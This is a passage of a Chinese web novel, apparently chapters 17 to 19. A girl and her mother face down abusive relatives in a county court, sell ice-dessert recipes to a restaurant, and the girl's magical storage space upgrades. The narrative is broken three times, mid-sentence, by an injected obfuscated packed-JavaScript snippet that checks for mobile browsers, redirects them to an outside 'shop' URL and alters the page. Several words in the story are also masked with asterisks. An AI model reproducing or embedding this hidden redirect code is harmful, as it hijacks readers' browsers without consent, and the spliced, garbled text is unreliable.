“我没事,刚才就是吵了一会顺便等你回来。”赵宁宁见旁边摊子的曹娘子不见,就知道她是跑着去找宁妈了,所以她一点都不担心,只能尽力拖着钱婆子,等大人回来。 “你没事就好。”宁妈摸摸她的头。 “你个挨千刀的!竟然敢推婆婆,哎呦……我的手……哎呦……疼死我了!”钱婆子哭丧着脸,一张老脸皱得像核桃仁。随着核桃缝隙的一张一合,低声的咒骂不断传出。 宁妈:忍,在街上不能打老人。 孙氏蹲着身子去扶钱婆子,转头指责道:“周氏,你怎么可以推咱娘!?” “咱娘一把年纪了,你要是把她推得摔坏身子怎么办!” 宁妈像看傻子一样看她:“你是手上挨的板子太轻了还是怎么的?” 捋捋袖子,宁妈说:“还是饿了想吃点巴掌长长记性?!” 老婆子不能打,同辈的妯娌打起来宁妈可没心理压力,懒得听孙氏叽叽歪歪,宁妈直接一巴掌下去,“第一次,你们把我女儿骗到山上想绑人,我们家女儿为了躲你们,滚到坡底下摔破头,你们以为她**,赶紧跑回家。” “第二次,你们趁她上山一个人的时候,把她捆起来藏箩筐里,让去找她的村民差点信了你的胡话,若不是宁宁聪明,你们早已计谋得逞。” “这次,你们又来摊位上抓人。”宁妈打完,一手攥住孙氏胸前的衣襟,往上一带,孙氏顿时双脚离地,惊恐地看着对面的老二媳妇。 “不、不是我……”孙氏惊恐道。 她想起来了,周氏就是个疯子!动不动就**的疯子! “再一再二,你们还想再三?!”宁妈抬起右手,伸手就想朝孙氏脸上甩。 “怎么回事!” 外围,三名衙役赶到。 普通百姓见到带刀的差爷过来,纷纷让开一条路,宁妈见状,将手松开,孙氏破麻袋一样软倒在地,结结实实地摔了个屁股墩儿。 缀在衙役最后面的曹娘子趁机抱着周氏买的吃食,悄悄绕开人群,回到摊位上。 “你们怎么回事!”衙役站在摊位前,“谁是摊主?!” “官差大人,我是这个摊子的摊主。”宁妈从怀里掏出木牌,给对面的衙役看过。 “你们摊位是怎么回事?怎么闹起来了?”衙役平日里既收钱,便要维护东市的治安,他们扫一眼地上的东西,看看孙氏。 “是这样的,我刚刚去买中午的吃食,回来发现这家人在摊位上**,想要走我们家的方子。”宁妈指着钱婆子,“她还要抓走我的女儿!” “差爷,你们可别放过这家人,她都拐卖人家女儿两次了!”大点胆子的路人伸出三根手指,“今儿,是第三次!” “拐卖!?”衙役皱眉,大周朝不禁止私下买卖人口,但禁止拐卖别人家的孩子。 “大人!大人!你莫要听他们胡说!”钱婆子想要去抓官差的衣服,手刚伸过去,被眼尖的官差瞧见她双手沾满的血,连忙嫌弃地躲开。 “去去!好好说话,别弄脏我们的官服!”衙役后退几步,不耐地说:“站好!” 钱婆子空伸着两双手,回头看了一眼赵宁宁三个,又转回头,对着衙役告状:“是他们!” “是他们不孝顺!” “我们是一家子人,我顾念着老二受伤,他们娘儿仨人少干不了多少活计,所以才拖着一把老骨头地过来,想着帮她们摆摊干活。” 钱婆子说得真情实意,眼角都泛起泪花来:“谁知这个小贱……小孙女,不但不领情,还当街造谣我们,真是伤透了我的心啊!” “官差大叔!”赵宁宁从宁妈怀里挣出来,说:“我们已经分了家的,还签了断亲文书!” “刚才的路人哥哥说得没错,她就是拐了我两次!两次我差点死掉才逃脱出来,刚才也是……如果不是你们来得及时,我就要被他们抓走了!” 赵宁宁从怀里摸摸,摸出几张纸出来,“这是我们的断亲文书!” 衙役对这很感兴趣,刚要伸手拿,一旁的钱婆子飞扑过来,一把夺过赵宁宁手里的纸,三下五除二给撕碎掉。 “官差大人,你别听她胡说!他们一家子又懒又馋,在村里名声坏得不行,如果不是拿了家里的方子出来摆摊,他们早饿**!”钱婆子撕了纸,以为万事大吉,便接着说: “她们所作所为伤透了我的心!我今日不过是想把这个生意收回去,不再给她们做。” ——伤透心? 赵宁宁唾弃,到底是谁伤谁的心!真是不学法就不知道法律的厉害,不说断亲文书一式三份,还有一份在里正那里当备份,刚才她掏出来的,不过是宁妈记账用来练字的废纸。 “你少在这儿颠倒黑白了。”宁妈道:“整条街都知道,这吃食生意是我第一个做起来的,丰宁县多少小吃摊子想学都学不像,你说这个方子是你们赵家的,那我问你。” 宁妈将木桶提上来,“这里面的冰粉是怎么做出来的?” 昨日听老三说了,那碗里的东西软弹带着点白色,明显是乡间夏日常会吃的凉粉,赵宁宁不过是往凉粉上加了一些浇头,这有何难? 豌豆凉粉的做法钱婆子还是知晓一二的,“不过是那乡间常有的豌豆磨成的汁水,晒干成的粉做成的!” 要真是这样,县城早有其他人仿做了,豌豆凉粉和冰粉吃起来完全是两码事。 几个衙役里,跟在后面的杨六看了看卷饼摊上的媳妇,又看看领头的人,低声说:“头儿,这家冰粉我吃过,口感不似凉粉那般,冰粉吃起来是软的。” 听到有人帮自家说话,赵宁宁机灵地去木桶里取出干净的碗勺,舀了三碗冰粉出来,赵启帮她端着。 三碗盛好,赵宁宁和赵启一齐端到前面说:“官差大叔,我们的小料都被打翻了,但桶里的冰粉没事,您尝尝便知,冰粉不是凉粉。” 官差伸手接过,举着勺子细看,冰粉近看通体是透明的,拿远一些又像是白的。之所以会这样,是里面有细细密密的气泡,所以才会看上去像白色的。 他吃一口,冰粉口感绵软,根本不似平日里吃到的凉粉那般带一点儿韧劲。 放下碗,衙役脸色一沉,语气带着几分怒意道:“好哇!你竟敢意图混淆视听,欺瞒我们!真是胆大包天,当我们是好糊弄的吗?” “将她们带走!” “不!不!”钱婆子举着双手,面色惨白,“官差大人,是她们!都是她们不好!” 至于是什么不好,钱婆子又说不出一二来,丁洪不耐地摆摆手,后面两名衙役上来,直接将人押住。 作为苦主的赵宁宁几人自然也要陪同前去,宁妈见曹娘子也回摊位了,冲她感激地笑笑,说:“曹娘子,还得劳烦你帮我看一下摊位。” “去吧。”曹娘子拉住宁妈,悄声说:“走最后那个汉子是我家男人。” 宁妈因担忧而蹙起的眉头一松,转而喜上眉梢,怪不得东市的衙役能这么快赶过来,原来是曹娘子刚刚去通知了她家里人。 本就是衙役,喊上其他人过来速度自然要比平时快,此时不是说话的时候,宁妈冲她感激笑笑,“今日多谢你了!” 临走时,曹娘子将宁妈买的包子塞还给她,宁妈带着两个孩子,跟在衙役后面匆匆往县衙走。 路上赵宁宁和赵启被亲妈一人一个包子塞进嘴里,吃下去后,刚才吵架饿过劲有点痛的胃才稍微好受那么一些。 县太爷刚吃**在小憩,被人打断喊醒已是不悦,匆匆套上官服赶过去,听手底下的人汇报说是因为一个吃食方子闹起来,只觉得一股气顶着燥意从肚子一股脑冲上头顶。 坐定之后,他先是掏出帕子擦拭过脑门上的汗,这才重重拍了一下惊堂木。 原本闹哄的人群静下来,县太爷这才说话。 “怎么回事。” “大人,老婆子我——”钱婆子想着抓紧时间第一个告状,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229742|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县太爷便能去惩治老二一家子。 哪想到,她一开口就被打断。 “谁让你说了!”县太爷指指站在一边的宁妈,“苦主先说。” 宁妈上前几步,跪在堂下,“县令大人,民妇家的男人是她的二儿子,在这个月初,她这个当奶的要绑我们家女儿卖给镇上的当童养媳,我们两家闹起来分家又断了亲。” 赵宁宁适时地掏出真正的分家和断亲文书,交给领他们过来的衙役,由衙役检查后转递给县太爷。 “孩子他爹因为摔断了腿无法干活,我们家女儿聪慧,琢磨出来一个吃食生意,这才摆上摊子赚点银钱,好给人治病。” 宁妈诉说着这段时间发生的事,一字一句像是敲击在众人心上一般。 “家里不丰裕,我们家女儿便想着上山找点野菜柴火,哪想到这两人看见,偷偷地趁我女儿和她舅舅走散,将我女儿绑了去!” 县太爷看了一眼,堂下跪着一群人,有两个头恨不得埋进地里,想来应该是那两个毒妇。 “我娘带着人在山上找到她们时,她们把我女儿藏起来,误导村民,差一点,差一点我就再也见不到我女儿了!” 宁妈说完,心底仍是一阵后怕,“今日,她们又借着‘帮衬’的名义,来我们小摊子上施压,想要抢夺我们家的吃食生意。” 苦主说完,县太爷将他们家的分家文书合上,看向跪在一边的另一群人,“你们几个,说说是怎么回事。” “大人!大人不要听那个婆娘胡言乱语啊!”钱婆子抓住机会,“我是五丫的奶,怎么会害她!” “我只是想着家里穷,都吃不起饭了,才想着给五丫找个好人家……”钱婆子将她那一套说辞拿出来,只是她穿金戴银,县太爷听了怒怒拍了两下惊堂木。 “还敢胡言乱语!说,你找的那家人是什么情况。” 钱婆子一哽,说:“是镇上人家,家里富余,所以才想买个小丫头先养着,等两个孩子长大了好办婚事。” “你瞎说!”赵宁宁跪在堂下打断钱婆子的话,“那是个傻子!十五岁了还捡牛粪啃的傻子!” “大人说话,你这个丫头胡咧咧什么。”钱婆子说着,就要用她沾满血和土的手掌去捂赵宁宁的嘴。 赵宁宁自然不会如她所愿,往前跪了几步,才说:“大人明鉴!我们家是赵家二房,要是去当童养媳那也是嫁娶的一环,我的婚事怎么也要经过我的亲生父母同意。” “况且,她卖我根本不是因为家里穷得吃不起饭,而是要给她的大孙子娶媳妇,银子不够了,他们才想着把主意打在我的身上!” 小丫头看上去年纪小小,说话却条理清晰,县太爷点点头,“钱氏,你有什么要说的?” “那、那是误解!”钱婆子狡辩:“再说了,我也是你长辈,你爹娘都得听我的,更何况你!” “咱们不是断亲了吗?”赵宁宁说:“第一次你可以说你是长辈,第二次**我的时候,咱们都断亲了,你怎么还能说是长辈呀?” “那我也是你奶!”钱婆子说着,眼中冒着精光,伸手就要去够五丫头。 只要把她的嘴捂住,她就不能胡咧咧了! “大胆!”县太爷起身,绕到堂下,“大周朝有律令,婚姻之事,先过父母,再过长辈,若无直系长辈,其他叔婶才可过问。” “人家父母都不同意,怎么会绕过你!” 钱婆子被他的话吓得一哆嗦,她没想到,一个丫头能牵扯出这么多事,在乡里,谁家丫头不都是随打随骂的。 “大人,我、她爹也是同意的!”钱婆子吞吐地说:“他爹向来听我的话,我说啥就是啥。” 以前是以前,现在是现在。现在的赵老二,可不会听找家人的话,钱婆子也就是仗着他人不在,才敢在这里忽悠。 “你既然说他听你的话,那分家也是他的意思喽?”县太爷追问。 “那不是,那不是他的本意。”钱婆子说:“都是他媳妇儿,都是他媳妇儿撺掇的!” “放肆!”县令一甩长袖,回到桌前丢下一根签字,“来人,掌嘴三十!” 第18章 打脸!爽! 钱婆子呆住,什么掌嘴?什么三十? 衙役领了命令,直接拖住她,直到人被按在地上,钱婆子还不死心,“大人!我是冤枉的!都是老二一家子,一家子不安好心!” “分家文书和断亲文书上已写明了,你们分家是因为你们要卖二房女儿的事。”县太爷捋捋自己的胡子,似乎这样能压下心头的气一样,“你签字画押之时,你们里正应该当面读过!” 分家文书上有写过这个吗?钱婆子回忆,是了!写过!里正读的时候,她只顾着拿了欠条高兴,完全忘了,分家的时候会把这些都写上去! 衙役开始扇巴掌,刑罚上掌嘴用的不是手,而是皮制的一个手掌大小的拍子,一拍子下去,响亮的声音从堂后传入堂前。 钱婆子来不及求饶,下一掌很快抽来,一下又一下,再被拖回大堂的时候,钱婆子整张脸肿得高高的,整个人几欲昏厥。 县太爷放下手中的茶盏,“继续!” “今日你们去摊位**,前因后果仔细说明。” 钱婆子动动嘴,嘴连张都张不开,她只能看向旁边的孙氏,示意她前去说明。 孙氏被婆婆推上去,迎着县太爷的目光,硬着头皮说:“我们去,是想着老二一家不容易,想帮他们……” “孙氏,欺瞒本官的下场你也见了,大周朝律令有言,欺上瞒下,视程度掌嘴三十到一百。” 再严重,就直接丈刑了。 被警告了!孙氏哆哆嗦嗦地回望一眼婆婆,几息之间,钱婆子的脸肿得更高了,嘴角甚至还泛着血丝。 她咽了口唾沫,说:“大人,是、是我们看二房赚了钱,想着去看一下,能不能也去做个生意。” 她没有直说是去抢方子的,见了婆婆的惨状,孙氏就算是再愚钝,也知道万一自家来意被戳破,今日来的人都得遭殃。 “你们几个说说,是真的吗?”县令问在场其他几个龟缩在女人后面的男人。 赵老头始终没有抬头,也不说话。 赵老三忙不迭的点点头。 赵老大则是往后缩缩,也不表态。 ——一群没骨气的男人! 县太爷摇摇头,又去问苦主。 赵宁宁自然不会放过这个机会,“回禀大人,他们就是单纯的来**抢方子的,过路的人也可以为我们作证。” 刚才来的时候,有好几个爱看热闹的人也跟了过来,赵宁宁当然不会放过这么好的“证人”人选。 “不但**,他们还把我们的摊子掀了,如果是来好声好气‘询问’,怎么会与我家交恶呢?” 赵宁宁被抓的事有分家文书证明,掀摊子**只能来找物证人证,县太爷喊了几人过来,看客毫无保留,将自己看到的事情经过学了学。 堂下一时静寂,赵老头只觉得后脑勺一凉,二房家,什么时候嘴皮子这么利索了?五丫之前明明是个任打任骂都不吭声的小丫头。 他双眼扫了扫直直跪在地上的五丫,又看了看跪在一旁,用赞赏的目光看着五丫的老二媳妇。 变了……都变了…… 老二家怎么会变成这样!赵老头心中一凛,抢在县令宣判之前,爬到前方,“县令大人,是我管教无方,求您大人不记小人过,饶了我们一家子!” 县令不理会他,斟酌一番,他道:“抢夺他人财物,杖刑二十,关押三个月。” 按标准刑罚来说,要杖责主谋三十,但台下毕竟是一家人走出来的,县令将这份刑罚平摊给其他几个,钱婆子二十,孙氏二十,剩余几人,一人十五。 算下来,不算轻罚。 只有主谋钱婆子被关押了三个月,其余从犯关押一月。 如此判刑,赵宁宁几个苦主心服口服。 出了县衙,宁妈摸着两个孩子的头,后怕道:“吓死我了,曹娘子来找我的时候,我生怕你们两个被他们抓走逼问,下次还是在附近摊子随便吃一口得了。” 赵宁宁摇头,“那怕什么,我知道曹娘子出去找你,才站在原地跟他们吵的,不然我早就带着我哥溜了!” 钱财都是身外物,真遇到危险,赵宁宁拼着空间暴露,也要保住自家人性命。 “走,今天你们受了惊吓,摊子也被掀了,咱们收拾收拾,去下馆子!” 回到摊位,赵宁宁惊奇发现摊位上的碎瓷片和打翻的小料已经被扫走了,桌子也摆正了。 曹娘子见宁宁在打量,颇不好意思地说:“我看它们有点乱,便喊人来给扫走了。” 摊位干净,才不会影响过路人对这个摊子的印象,不然不知情的人还以为这个摊子惹上人,往后不敢来吃了怎么办。 宁妈过去,握住曹娘子的双手,“曹娘子,我都不知道该怎么谢你了,今天要不是你,我两个孩子就危险了!” “都是在一条街上摆摊的,平日里我要出去,也是你给看顾着摊子,大家都是互帮互助。”曹娘子拍拍宁妈的手,“你买的吃食都凉了,来,我给你们热一热。” 承人家这么大的恩情,赵宁宁和赵启轮流过去跟曹娘子道谢。 曹娘子好一阵稀罕,用自己摊饼的平底锅将宁妈买的甜馅饼煎热,才挨个递过去。 吃完饼,宁妈将摊子归拢起来,就放在原地,跟曹娘子打招呼说要去重新采买摆摊用的东西,这才带着两个孩子离开。 重新买了装小料的罐子,宁妈趁饭馆没关门,带孩子直接进店去坐着。 丰宁县的饭馆不跟外面的小摊子那样热,为了留客,他们冬天便会在冰窖里囤冰,到夏天才会拉出来用。 小一点的饭馆,或是家里没有冰窖的,只能去专门卖冰的地方买,宁妈刚开始卖冰粉的时候有想过在桶里加冰,打听了价格之后才作罢。 一块冰要一两银子!卖一个月也才只能买十两银子,怎么算怎么都是赔本。 这次趁闲着过来吃饭,宁妈也是想着把冰粉生意给交出去,再过一个月天气就会慢慢变冷,到时候生意受影响,冰粉方子的价格也提不上去了。 这些都要仔细计划,此刻赵宁宁看了店内的菜单,思考了一会,点了四道菜。 荤素热菜各一道,配上一碗米饭,三个人吃得很是满足。 离店的时候,赵宁宁说:“娘,咱们那个方子可以打听打听卖出去了。” 宁妈点头:“我也有这个想法,但是怎么卖,你有思路没?” 赵宁宁点头,“县城不就这几个大点的酒楼,都是竞争对手,咱们打听一下谁跟谁别苗头,放出要卖吃食方子的消息出去,不怕他们不感兴趣。” “找上门的生意才是生意,咱们得按兵不动,剩下的你听我的……”赵宁宁叽咕叽咕跟宁妈讲了一通生意经,宁妈乐呵,让赵宁宁自己看着安排。 下午,宁妈去买谢礼的时候,顺便买了赵宁宁要的东西。 下午,曹娘子收摊时,赵宁宁和赵启跟着宁妈一起去曹娘子家拜访。 赵宁宁帮着曹娘子推车,曹娘子边走边说,她家就住在县城,长口巷西头的小院子。 曹凤春的父母只有她这一个女儿,家里略有些积蓄,因此让女儿招赘,给女儿的嫁妆是一间铺子,两个老人手里还握着一间,两间都赁了出去。 走进曹家时,赵宁宁才知道曹娘子有多谦虚。 这院子根本就不小! 四方的院子,进门是个棚子,棚底下整整齐齐码着柴火和摆摊要用的炭,曹娘子推着车一进门便能把车停在这里,日头晒不着,雨也打不到。 再往前,右手边就是他们家的厨房,紧挨着厨房的是两间小房子。 正对着院子的,是规规整整的三间屋子,左右住人,中间是堂屋。 院内没有建房子的那面墙底下开垦了一小块菜地,用砖头围着,院内地面干干净净的。 一进门,院内等候女儿归家的两个老人看到有外人来,惊讶过去,招呼着客人放下东西后,让曹娘子带着几人去堂屋坐。 院内,两个看上去只有五六岁的小孩儿探头探脑,看到宁妈手里提的酥饼糕点,眼睛亮亮的。 不多时,杨六下值回来。 “曹娘子,杨大人,多亏你们今日相助。”宁妈和两个孩子起身,郑重道谢。 “不必多礼——”曹娘子前去扶住宁妈。 几人又坐下寒暄几句。 送完礼,宁妈借口还要赶路回家,辞谢了曹家人。 回到王李村时已是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229743|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮色四合,昏黑的村头,远远看去还站着两个人。 赵宁宁没提什么重物,快步上前,看清了人脸,竟然是她爸和周剑! “爹,舅舅,你们怎么在村口?”赵宁宁喊人。 “这不是看你们这么晚还没回来,我们俩担心你们吗。”宁爸看到妻子孩子都没事,这才放下心,拄着拐往家里走。 周剑走过来,把赵宁宁手里的小木桶接过去,又走到后面去接赵启手里的箩筐。 被夺了桶,赵宁宁去扶宁爸。 路上,宁妈将白天的事说了,气得宁爸当场就要拿着拐杖去老赵家。 安抚好宁爸,赵宁宁说:“没事的没事的!他们今天一闹直接去蹲局子了,咱们家终于能清净几个月了!” 宁妈点头,希望老赵家经过这场事,在村里能老实一点。 一家人说说笑笑地往村里走,宁妈今天带着两个孩子去下馆子,自然也不会忘记还在家里养病的宁爸,回家前她买了卤鸡,和卤肉,还买了一些肉和菜。 拦住想要走的周剑,宁妈让两个孩子去周家喊何氏过来吃饭。 两个孩子没能劝动小老太,宁妈又亲自去了一趟,用家里遇见大事的话头,把何氏哄了回家。 翌日。 赵宁宁一早便起来,缠着他哥帮忙做打蛋器,昨天让宁妈在城里买的便是竹条。 赵启坐在自己房间,大桌子上摆着几种不同样式的刻刀,他思索了一会,将打蛋器的大概样式说了,赵宁宁狂点头。 于是他拿起竹条,将两指宽的竹条一条条劈成细条,细细打磨之后,拿去炉火上边烤边弯,最后绑在一个木头手柄上,用麻绳固定好。 古代简易版的打蛋器做好了。 赵宁宁拿着在清水里试试,竹子做的打蛋器轻便又利索,她对今天的生意多了几分自信。 准备好摆摊的东西,宁妈带着两个孩子去县城摆摊。 早上只做了打蛋器,赵宁宁要做的吃食还得买其他材料,她也不用宁妈陪,喊上赵启,两个人在街附近走了一圈便买到所有食材。 因为做新吃食不能被别人看到,赵宁宁还特意在街对面的客栈里,花了一百文开了一间房进去。 宁妈就在楼下的对面,她放心地做自家冰粉生意。任由两个孩子捣鼓。 赵启帮忙看着门,赵宁宁将冰店送来的冰带进空间。 空间恒温二十六度,冰块融化的速度顿时慢了几分,赵宁宁把泥炉和陶锅带出空间。 引燃泥炉后,赵宁宁把来之不易的羊奶加进去,小火慢慢煮着,新鲜羊奶几乎没有膻味,赵宁宁闻着自己都馋了。 等水分蒸发得差不多,赵宁宁给里面加了一些砂糖,随后掏出两个木碗把鸡蛋打进去,蛋白放起来,蛋黄留下用打蛋器打散。 小心把蛋黄液体倒进锅里,赵宁宁用勺子抄底慢慢搅拌,一直到锅内的液体变得浓稠,她才停下。 这里没有细网笊篱,赵宁宁用干净的粗孔纱布,将放凉的羊奶过滤。 保险起见,她分出一半放在一边备用,剩下一半倒入事先准备好的平底铁锅内。 回到空间,冰在盆里化了不少,赵宁宁心疼不已,把融化的冰水倒进小灰桶里,剩下的带出空间。 赵启拿着家里的菜刀,帮忙把冰敲碎,碎掉的冰接触到空间外闷热的温度,融化速度更快,赵宁宁忙往上面撒盐,把平底锅坐上,用铲子慢慢翻炒。 能量交换,锅底很快有一层液体凝成了冰霜,赵宁宁见状,手里动作不停,不出一会,一锅原汁原味无任何添加剂的古代版冰激凌出锅了。 没时间跟赵启品尝,赵宁宁拿起刚才分出去的另一半冰激凌液体,往里加了一些摆摊用的红豆粒,做了一锅红豆雪糕出来。 盆子里还剩不少冰块,赵宁宁不敢浪费,直接用被子包裹起来,把做好的冰激凌分别装在装小料的罐子里,盖好盖子,稳稳地放在盆子中央。 做出五罐,赵宁宁留下一罐,用瓷勺挖出来两个碗底,递给哥哥一碗,“你尝尝。” 赵启接过尝了一口,比出一个大拇指,无需多言,太好吃了! 赵宁宁问宁妈要了材料,求他哥帮忙组装起来。 第19章 卖方子,空间升级 赵宁宁笑笑,自己也尝了一下,羊奶雪糕别有风味,在酷暑天吃,简直沁人心脾。 两口下去,碗底便空了。赵宁宁带着赵启下楼,到摊位上把冰激凌挖出来一些,分享给宁妈和曹娘子。 曹娘子不知道宁宁抱着一个大被子是做什么用的,直到把碗接到手里,才觉察出不对。 碗底凉飕飕的,这是什么吃食? “曹婶子,快吃呀!一会融化了就不好吃了!”赵宁宁催促道,曹娘子拿起勺子,舀一勺入口,立马被这奶香、甜香给征服了。 更不用说,这碗吃食是冰冰凉凉的!像是加了冰,又不似冰块那样硌牙。 “这是什么吃食?”曹娘子夸道:“又好吃,又凉,食客们肯定喜欢。” “这个叫冰糕!”赵宁宁说:“不过我们不打算自己卖,准备把这个方子卖给县城的酒楼。” ——卖给酒楼? 曹娘子端着碗思索,片刻后,她才开口:“酒楼应该会收这个方子,不知道你们准备卖给哪一家?” “那还是要多打听打听。”宁妈笑道,“这个冰糕做法和用料,不是一般的小馆子能支应得起的。” 光材料划下来,一碗起码都快四十文了,更不用说还用了冰。 “周娘子,不瞒你说,我家买的有铺子,平日里会跟各路掌柜有往来,我爹倒是认识一二个酒楼的掌柜,你要是愿意,我回去跟我爹说一说。” 曹娘子的话简直是解了赵宁宁的燃眉之急,宁妈什么也不说了,直接帮曹娘子守着摊位,让她回家去问问。 不多时,曹娘子的爹赶过来,尝了冰糕之后,直夸赞好吃。 他沉吟片刻,对宁妈说了两个酒楼。 一个是清风楼,做的菜式偏精致可口一些,另一个是吉祥酒楼,口味略重,菜量大一些,是丰宁县人最爱去的吃的地方。 宁妈略一思索,主张去清风楼。 既然菜式喜欢精致,那必定喜欢新菜式,冰糕也符合他们酒楼的品味。 剩下的便是曹娘子的爹,曹和安带着宁妈去引荐。 留着孩子在摊位她不放心,干脆停了摊子的生意,让两个孩子也跟着一起。 有曹老爹引荐,清风楼的掌柜只尝了一口,便二话不说,带人直接上楼去见东家。 清风楼的东家是一位年轻女子,曹老爹不便留下听人谈生意,去楼下大厅要了一壶茶,坐着慢慢等。 “这是什么吃食?”东家放下手里的账本,看赵宁宁将罐子挨个摆出来,一股奶香味瞬间飘了出来。 “东家姐姐,这个叫‘奶糕’。”赵宁宁盛出两碗不同口味的奶糕,放在桌上。 东家颔首,端起来闻了之后,细细品尝,两种口味轮番尝过,她点头,“这样做法还是第一次见。” 赵宁宁骄傲地说:“这是我想出来的。” 做之前她可是打听过的,丰宁县夏日日常吃的冰饮,都只是把干净的冰块放进各种饮子里,顶多用冰块冰一下。 冰糕可是自己吃起来就是“冰”。 “这倒有趣,你们想以什么价格卖掉这方子?”东家掩唇笑笑,“你们是东市卖冰粉的那家人吧?” “你怎么知道?”赵宁宁惊讶,扯着宁妈的衣角问:“娘,这么美丽的姐姐来咱们摊位买过冰粉吗?我怎么不记得了。” “哎呀,这孩子。”宁妈锤她一下,“东家肯定是让人过去买的。” “你们叫我段锦诗便好。”段锦诗坐下,“确实,我是喊小二帮我去买的。” 街面上一出新鲜吃食,她就会派人去买了吃,一般的吃食,她吃过几次便能品尝出做法,只有赵宁宁家的冰粉,她可以照做出小料的味道,却不知道那冰粉是用什么做出来的。 “锦诗姐姐对冰粉感兴趣吗?我们打包一起卖!”赵宁宁伸出手:“一百两银子。” 一百两?段锦诗将手放在算盘上,核算片刻,“一百两有些高,这两样吃食只能做夏日生意,我最多可以出价八十两。” 八十两也不错了,赵宁宁做冰糕出来就没想过自家去卖,只是赚个“技术”费。 两人拉锯战了一会,最终,两张方子以八十六两的价格成交。 段锦诗让赵宁宁去后厨教厨娘做法,引着宁妈和赵启下楼,让小二给几人上了一壶好茶,又端来几样点心。 厨娘跟着学的时候,她也去看,赵宁宁一边干活一边闲聊,这才知道,段锦诗是一人把清风楼给做起来的。 段锦诗家里只是丰宁县的普通人家,她自幼爱琢磨吃食,十二岁便央求家里人给她置办了小摊子,从小摊子做起,后面租了铺子,历经千辛万苦,自己买了小铺子,后又慢慢做大变成酒楼。 到如今,她才十九岁。 赵宁宁感叹:真是人出名要趁早,看人家段锦诗,十九岁就当上了酒楼大东家,真是吾辈楷模。 冰糕做法简单,做好后,赵宁宁说还可以替换成普通的糖水,将糖水冰棍、绿豆冰棍的做法也一并讲了,段锦诗听得不住点头。 后面做冰粉,宁妈过来,她力气大,搓冰粉速度快,把做冰糕时事先泡好的冰粉籽拿出来,搓好加入石灰水,等一会冰粉便凝固了。 段锦诗更是看得惊奇不已,这两种做法,放在平常根本没人能想得出来,赵宁宁可真是人小不可估量,竟能做出这两样惊奇的吃食。 既然交出去,赵宁宁一家就可以回去了,临走时赵宁宁嘱咐东家,如果做的时候有什么不明白的,可以去王李村找她,包售后的。 八十六两银子到手,家里终于不用顶着太阳出来摆摊了!赵宁宁拉着宁妈的手,走路都要飘起来。 回到摊子,宁妈分出二两塞给曹娘子,让曹娘子带回家割肉吃,并说了,自家摆摊麻烦,以后就不来县城摆摊了,让曹娘子有空,去王李村寻她玩。 刚认识没多久,周娘子就要走了,曹娘子依依不舍,挥着手绢说:一定会去的! 回到家,赵宁宁还在打趣宁妈这是找到闺蜜了。 有八十多两银子到手,宁宁家总算是能歇口气,好好休息一段时间。 王李村的田收了稻子之后,村里人翻了田,迟迟没有再播种。 开春时,河里的水尚且有两丈宽,村里人浇水难一些,倒也还够用。随着禾苗越长越高,河道里的水却越来越少。 收粮之后,赵宁宁去河里舀水时,水桶偶尔都能碰到河底了。 有村民问里正家种什么粮食,里正和村长走了几个村子,得出结论:稻子不敢再种,种点耐旱的作物吧。 他们家将小米种下,赵宁宁家歇着,看别人种田,自家也跟上买了粮种,种地的活计不费劲儿,宁妈带着两个孩子,一天就给种下了。 南方的水灾过去,镇上和县城的粮价都讲了几文,宁妈趁这时候带着宁宁过去,把七十两银子全换成了粮食。 赵宁宁的空间几乎要塞不下。 抽了一天空,赵宁宁把粮食全掏出来放在家里,带着扫帚进空房间。 熟悉的电梯厅,熟悉的鞋柜。 小小的电梯厅里堆满了现代的垃圾,赵宁宁挑挑拣拣,把实在没用处的建筑废土给装进一个麻袋里,准备找个机会带到山上丢掉。 废土整理好,她就堆在电梯口前面,把剩下的规整一下,放在木架子上。 赵宁宁拍拍手,看着整洁多了的电梯厅空间,满意地点头。 之前没时间拾掇,今天终于整洁多了。 她转身出空间,再进来时手里拿了几个桃子,空间外的温度高,她拿回来利用恒温“冰”一下再拿出去吃。 虽然凉不了多少,也能让其他人夏天里凉快一些。 赵宁宁放下桃子之后,忍不住把手伸到小盆里,拿了一个开始啃。 ——明明刚才还吃了的,怎么在空间里吃感觉更好吃了? 赵宁宁两口吃完一个跟自己拳头差不多的桃子,把桃核随手丢进麻袋里,举着双手出空间去洗桃汁。 刚出空间,她便愣住。 ——空间……升级了?! 顾不得去洗手,赵宁宁把手在衣服上擦擦,揉揉眼再看,面前弹出来的系统面板正是升级提示! 【系统:恭喜宿主解锁新区域:玄关】 赵宁宁闪回空间,颤抖着手贴上大门,指纹解锁成功,她压了一下门把手,门锁“咔哒”一声,大门开了。 阔别将近一个月的家,就这样映入眼帘。 看着熟悉的摆设,赵宁宁都快哭了,说不清是什么情绪,是骤然穿越到陌生的古代,又回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 